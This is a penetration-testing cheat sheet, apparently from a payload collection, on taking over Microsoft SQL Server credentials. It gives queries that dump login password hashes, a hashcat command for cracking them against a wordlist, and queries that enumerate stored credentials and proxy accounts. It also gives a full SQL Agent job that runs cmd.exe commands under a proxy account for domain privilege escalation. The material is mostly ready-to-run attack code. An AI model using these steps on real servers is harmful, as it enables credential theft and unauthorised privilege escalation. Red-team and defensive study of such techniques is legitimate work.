# Mssql Credentials

## Summary

* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
* [List Credentials on the SQL Server](#list-credentials-on-the-sql-server)
* [Proxy Account Context](#proxy-account-context)

## MSSQL Accounts and Hashes

* MSSQL 2000

  ```sql
  SELECT name, password FROM master..sysxlogins
  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
  -- (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
  ```
* MSSQL 2005

  ```sql
  SELECT name, password_hash FROM master.sys.sql_logins
  SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
  ```

Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`

| Hash-Mode | Hash-Name          | Example                                                                                                                                        |
| --------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- |
| 131       | MSSQL (2000)       | 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578                                                 |
| 132       | MSSQL (2005)       | 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe                                                                                         |
| 1731      | MSSQL (2012, 2014) | 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 |

## List Credentials on the SQL Server

* List credentials configured on the SQL Server instance

  ```sql
  SELECT * FROM sys.credentials 
  ```
* List proxy accounts

  ```sql
  USE msdb; 
  GO 

  SELECT  
      proxy_id, 
      name AS proxy_name, 
      credential_id, 
      enabled 
  FROM  
      dbo.sysproxies; 
  GO 
  ```
* [dataplat/dbatools/Get-DecryptedObject.ps1](https://github.com/dataplat/dbatools/blob/7ad0415c2f8a58d3472c1e85ee431c70f1bb8ae4/private/functions/Get-DecryptedObject.ps1)

## Proxy Account Context

Agent Job using the registered proxy credential.

```sql
USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';  
```

Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command. `EXEC sp_start_job @job_name = N'WhoAmIJob';`

## References

* [Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation - Scott Sutherland - September 10, 2024](https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/)